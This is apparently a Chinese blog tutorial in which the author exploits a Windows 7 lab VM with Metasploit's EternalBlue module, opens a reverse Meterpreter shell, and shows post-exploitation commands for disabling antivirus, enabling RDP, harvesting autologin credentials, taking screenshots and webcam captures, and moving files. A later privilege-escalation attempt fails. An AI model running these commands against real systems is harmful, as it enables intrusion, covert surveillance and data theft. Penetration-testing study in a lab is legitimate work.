Metasploit之后渗透攻击(信息收集、权限提升)

利用永恒之蓝漏洞入侵Windows7

流程参考//www.jianshu.com/p/03a1c13f963a,实在是太棒啦!!!
目标主机为win7(IP:192.168.1.102);攻击机为kali(IP:192.168.1.104);工具为metasploit5


启动metasploit
msfconsole
探测目标主机信息
nmap -sV 192.168.1.102,445端口开放着,大概率可以用永恒之蓝漏洞攻击

这一次选择MS17_010漏洞,就是永恒之蓝漏洞来入侵Windows7。查找MS17_010漏洞相关的信息:
search ms17_010

第二个辅助模块是探测主机是否存在MS17_010漏洞

选择这个辅助模块,看看目标机器是不是有这个问题。

likely ———— 有可能有啊 (必须滴有🤦‍♀️)

开干!

msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue          # 用攻击模块
msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads                                   # 显示所有payload

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   1   generic/custom                                               normal  No     Custom Payload
   2   generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   3   generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   4   windows/x64/exec                                             normal  No     Windows x64 Execute Command
   5   windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   6   windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   7   windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   8   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   9   windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   10  windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   11  windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
————————————————————此处省略很多行——————————————————————————————————————

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp              # 选择这个payload
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102                                      # 设置目标IP
RHOST => 192.168.1.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104                                      # 设置攻击机IP
LHOST => 192.168.1.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run                                         # 开干

[*] Started reverse TCP handler on 192.168.1.104:4444 
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.1.102:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.1.102:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49165) at 2020-09-28 15:09:35 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > sysinfo                        # 可以为所欲为了
Computer        : GE-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

成功地对目标机器攻击渗透后还可以做什么? Metasploit提供了一个非常强大的后渗透工具————Meterpreter,该工具具有多重功能,使后续的渗透入侵变得更容易。获取目标机的Meterpreter Shell后,就进入了Metasploit最精彩的后期渗透利用阶段,后期渗透模块有200多个,Meterpreter有以下优势。

  • 纯内存工作模式,不需要对磁盘进行任何写入操作。
  • 使用加密通信协议,而且可以同时与几个信道通信。
  • 在被攻击进程内工作,不需要创建新的进程。
  • 易于在多进程之间迁移。
  • 平台通用,适用于Windows、Linux、 BSD系统, 并支持Intel x86和Intel x64平台。

本节主要介绍如何利用Meterpreter做好后渗透的准备工作及收集系统各类信息和数据。

进程迁移

在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。

输入ps命令获取目标机正在运行的进程,如下图所示。

输入getpid命令查看Meterpreter Shell的进程号,如下图所示

可以看到Meterpreter Shell进程的PID为1116,Name为spoolsv.exe,然后输入migrate 2428命令把Shell移动到PID为2428的Explorer.exe进程里,因为该进程是一个稳定的应用。
完成进程迁移后,再次输入getpid命令查看Meterpreter Shel的进程号,发现PID已经变成了2428,说明已经成功迁移到Explorer.exe进程里,如图所示。

进程迁移完成后,原先PID为1116的进程会自动关闭,如果没有自动关闭可以输入kill 1116命令“杀掉” 该进程。使用自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移,如图所示。

如上图所示,系统已经把原来PID为2428的进程迁移到956。

系统命令

获得了稳定的进程后,接下来收集系统信息。先输入sysinfo命令查看目标机的系统信息,例如操作系统和体系结构,如下图所示。

输入run post/windows/gather/checkvm命令检查目标机是否运行在虚拟机上,如下所示

可以看到当前目标机正运行在一个VMware虚拟机上.现在检查目标机是否正在运行, 输入idletime命令后可以看到目标机最近的运行时间.

可以看到目标机器正在运行,并且已经运行了35 mins 16 secs
接着输入route命令查看目标机完整的网络设置, 如下图所示

除此之外,可以输入background命令将当前会话放到后台,此命令适合在多个Meterpreter会话的场景下使用。还可以输入getuid命令查看当前目标机器上已经渗透成功的用户名,如下图所示。

接着输入run post/windows/manage/killav命令关闭目标机操作系统, 如下所示

输入run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议,也就是常说的3389端口,如下

然后输入run post/windows/manage/autoroute命令查看目标机的本地子网情况, 如下:

可以通过添加路由借助被攻陷的主机对其他网络的主机发送攻击.

接着输入run post/windows/gather/enum_logged_on_users命令列举当前有多少用户登陆了目标机.

这系统就ge一个用户.且当前已经登陆.

列举完了用户之后, 继续输入 run post/windows/gather/enum_applications命令列举安装在目标机上的应用程序, 如下

很多用户习惯将计算机设置为自动登录,下面这个命令可以抓取自动登陆的用户和密码.

run windows/gather/credentials/windows_autologin

可以看到,当前没有抓到任何信息。此时就需要用到扩展插件Espia,使用前要先输入load espia命令加载该插件,然后输入screengrab命令就可以抓取此时目标机的屏幕截图,如图所示。


抓取成功后就生成了一个名为YZOFsgTD.jpeg的图片,保存在root目录下。这里输入screenshot命令也可以达到同样的效果,如图所示。

下面介绍几个好玩的命令, 查看目标机有没有摄像头的命令为 webcam_list, 如下:
没有和有结果分别如下(为撒一会无,一会有? [因为我发现没有之后把摄像头又分配给了虚拟机😁])

接着输入webcam_snap命令打开目标机摄像头并拍摄一照片, 如下


疯狂打马

输入webcam_stream命令甚至还可以开启直播模式. 妈呀,可怕!!

还可以输入shell命令进入目标机shell下面, 如下所示.

最后输入exit命令停止meterpreter会话, 如下所示. 该命令还可用于停止shell会话并返回meterpreter.

文件系统命令

Meterpreter也支持各种文件系统命令,用于搜索文件并执行各种任务,例如搜索文件、下载文件及切换目录等,相对来说操作比较简单。常用的文件系统命令及其作用如下所示。

  • pwd或getwd: 查看当前处于目标机的哪个目录,如图所示。
  • getlwd: 查看当前处于本地的哪个目录
  • ls: 列出当前目录中的所有文件
  • cd: 切换目录
  • search -f *.txt -d c:\ 可以搜索C盘中所有以”.txt” 为扩展名的文件,其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索,如图所示。
  • download c:\test.txt /root 下载目标机C盘的test.txt文件到攻击机root下。
  • upload /root/test.txt c:\ 上传攻击机root目录下的test.txt文件到目标机C盘下。

使用上述命令搜索已被攻陷的目标机,可以获得更多关于目标机的信息。

后渗透攻击:权限提升

通常,我们在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,在实施横向渗透或者提权攻击时将很困难。在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从Guset提升到User,再到Administrator,最后到System级别。
渗透的最终目的是获取服务器的最高权限,即Windows操作系统中管理员账号的权限,或Linux操作系统中root账户的权限。提升权限的方式分为以下两类。

  • 纵向提权:低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权之后拥有了管理员的权限,那么这种提权就是纵向提权,也称作权限升级。
  • 横向提权:获取同级别角色的权限。例如,通过已经攻破的系统A获取了系统B的权限,那么这种提权就属于横向提权。

所以在成功获取目标机Meterpreter Shell后,我们要知道现在已经拥有了什么权限.
在Meterpreter Shell下输入shell命令进入目标机的CMD命令行, 接着输入whoami /groups命令查看我们当前的权限

从上图中可以看到,当前的权限是Mandatory Label\Medium Mandatory Level, 说明我们是一个标准用户,那么就需要将用户权限从标准用户提升到管理员,也就是Mandatory Label\High Mandatory Level。
下面我们就利用本地溢出漏洞来提高权限,也就是说通过运行些现成的、能造成溢出漏洞的Exploit,把用户从User组或其他系统用户组中提升到Administrator组(或root)。
溢出漏洞就像往杯子里装水,水多了杯子装不进去,里面的水就会溢出来。而计算机有个地方叫缓存区,程序的缓存区长度是事先被设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出。

利用WMIC实战MS16-032本地溢出漏洞

此处我们通过一系列的渗透测试得到了目标机器的Meterpreter Shell.首先输入getuid命令查看已经获得的权限,可以看到现在的权限很低,是test权限。尝试输入getsystem命令提权,结果失败,如图所示。

接着查看系统的已打补丁,传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C:\windows\里留下的补丁号”.Iog” 查看目标机大概打了哪些补丁,如图所示。

可以看到目标机只安装了3个修补程序。这里再利用WMIC命令Wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安装的补丁,如图所示。

同样可以看到目标机只打了3个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁编号与提权的EXP编号进行对比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) ,MS11-080(KB2592799),然后使用没有编号的EXP进行提权。因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。

相关漏洞的具体信息分析和共享可以参考如下两个网站。

  • 安全焦点,其BugTraq是一个出色的漏洞和Exploit数据源, 可以通过CVE编号或者产品信息漏洞直接搜索。网址: //www.securityfocus.com/bid .
  • Exploit-DB, 取代了老牌安全网站milw0rm。 Exploit DB不断更新大量的Exploit程序和报告,它的搜索范围是整个网站的内容。网址: //www.exploit-db.com/

知识点: WMIC是Windows Management Instrumentation Command-line的简称,它是一款命令行管理工具,提供了从命令行接口到批命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC,我们不但可
以管理本地计算机,还可以管理同一域内的所有远程计算机(需要必要的权限), 而被管理的远程计算机不必事先安装WMIC.
wmic.exe位于Windows目录下,是一个命令行程序。 WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),经常使用Netsh命令行的读者应该非常熟悉这两种模式。

  • 交互模式。如果你在命令提示符下或通过“运行”菜单只输入WMIC,都将进入WMIC的交互模式,每当一个命令执行完毕后,系统还会返回到WMIC提示符下,如”Root\cli” ,交互模式通常在需要执行多个WMIC指令时使用,有时还会对一些敏感的操作要求确认,例如删除操作,这样能最大限度地防止用户操作出现失误。
  • 非交互模式。非交互模式是指将WMIC指令直接作为WMIC的参数放在WMIC后面,当指令执行完毕后再返回到普通的命令提示符下,而不是进入WMIC上下文环境中。WMIC的非交互模式主要用于批处理或者其他一些脚本文件中。

需要注意的是,在Windows XP下,低权限用户是不能使用WMIC命令的,但是在Windows 7系统和Windows 8系统下,低权限用户可以使用WMIC,且不用更改任何设置。
WMIC在信息收集和后渗透测试阶段非常实用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。
接下来准备提权,同样需要先把Meterpreter会话转为后台执行,然后搜索MS16-032,如下图所示。

知识点: 如果搜索不到最新的Exploit,可以输入msfupdate命令进行升级,获取最新的Exploit模块、攻击载荷,或者手动添加相应漏洞EXP 。
执行以下命令选中MS16-032这个漏洞,然后指定”session” 进行提权操作,这里我们指定服务”session” 为 “1”,然后run 。
额这块失败了, 不玩了mmp……

为方便提权, 下面附上部分系统对应的补丁号.

说明

本文参考 开篇的博客链接 及 《Web安全攻防:渗透测试实战指南》
所有过程仅供演示交流,禁止用于非法用途,由此产生的非法后果与我无瓜